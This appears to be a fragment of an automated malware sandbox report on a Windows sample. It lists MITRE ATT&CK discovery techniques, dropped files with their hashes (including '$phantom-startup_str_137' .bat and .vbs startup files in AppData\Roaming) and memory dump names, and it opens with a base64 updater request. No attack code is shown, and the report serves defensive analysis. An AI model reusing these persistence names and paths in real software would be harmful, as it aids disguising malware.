PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MjAwQUI4NjItRjExRi00QzdDLUI3NTItNzVBQzgyN0M2RDA1fSIgdXNlcmlkPSJ7NUIyOEQ4NTItMjA3Ri00NDA1LUEzQjYtQTI1MjhEQzY1NEVGfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7OTZDQTA2M0ItMUY4Ni00QjIzLTlENDktNUUxMUMzNzc1Qzc1fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI0IiBpbnN0YWxsZGF0ZXRpbWU9IjE3MzkyODMyMzYiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4Mzc1NDI1MTE0ODAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1NjE4MDQ0NzI3Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:1332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 25213a6685a6fd21a2aa43c417891703333579ad784f3896976b44bcfcdb009e
MD5 3ffce848af907464c20a20e1b430f78a
SHA1 fbcd91a5c226d474235be920cf49e3344893fc1f
SHA512 1adaf6d68441a32b459b6071dcfdae404ab1e37bb0c6511e08d49717f9043679bdd7ca3324be184ece522e6516eedc04203ffccb5f9ea790bd35a84db9b944bf
MD5 SHA1 SHA512

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StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
MD5 005bc2ef5a9d890fb2297be6a36f01c2
SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
MD5 SHA1 SHA512

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__PSScriptPolicyTest_l5q2dshx.es0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l5q2dshx.es0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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$phantom-startup_str_137.bat

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_137.bat
Size 571KB
SHA256 51fe4c4bebcaf48cf32c1c5c734e623083d0fcbdcc80c1ce071a4ad6900f95b2
MD5 ba1d1dcd3b7e5c07de436c36fa885489
SHA1 e12b60b457a35b4924f94421c60484fd9cfd980f
SHA512 89770afb7e802d0e649f40cf8fff1f0dd4d3075a40063c23f0e4143ff5b53084789c5415e1d30a8550fc752424c45e8cde0d19016f49719e76466431d764c422
SSDEEP 12288:PLQhYVPsFzMySs894a27TRxMmL6Urd8mwkM5KAw7tyw6SI6Plr9Yd:0CooT4RRxP6yKmwTKAqyw5drS
MD5 SHA1 SHA512 SSDEEP

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$phantom-startup_str_137.vbs

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_137.vbs
Size 124B
SHA256 743862cf48839232e78bf61131d5853297e07dda1b61fbb78f648123ccc88a3e
MD5 5d0a3f7fab3242d6131d80c40d2bc7c0
SHA1 45f5433289437947f5f46b309a2699b555e92bc4
SHA512 d89a760c772caed5482f103f8b6284473ae8d5b60f571de1d5b31983d8dafb1f7bd3c8991bf862fa58292e627cfd1df825f7577020b5c11179e5c6eef6f7d49a
MD5 SHA1 SHA512

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memory/784-57-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/1048-108-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/1128-141-0x0000020DEB720000-0x0000020DEB7A6000-memory.dmp

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memory/1156-103-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/1368-61-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/1520-12-0x00007FFA5BDF0000-0x00007FFA5C8B1000-memory.dmp

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memory/1520-15-0x000001DA7B690000-0x000001DA7B698000-memory.dmp

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memory/1520-36-0x00007FFA5BDF0000-0x00007FFA5C8B1000-memory.dmp

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memory/1520-16-0x000001DA7BAA0000-0x000001DA7BB0C000-memory.dmp

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memory/1520-13-0x000001DA7B6C0000-0x000001DA7B704000-memory.dmp

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memory/1520-11-0x00007FFA5BDF0000-0x00007FFA5C8B1000-memory.dmp

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memory/1520-0-0x00007FFA5BDF3000-0x00007FFA5BDF5000-memory.dmp

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memory/1520-1-0x000001DA7B640000-0x000001DA7B662000-memory.dmp

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memory/1520-14-0x000001DA7BB20000-0x000001DA7BB96000-memory.dmp

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memory/1948-106-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/1980-109-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/2164-56-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/2260-105-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/2344-102-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/2356-58-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/2516-110-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/2544-101-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/3344-59-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/3432-49-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/3432-47-0x0000000002B70000-0x0000000002B9A000-memory.dmp

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memory/3480-107-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/3544-50-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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memory/3596-104-0x00007FFA3A270000-0x00007FFA3A280000-memory.dmp

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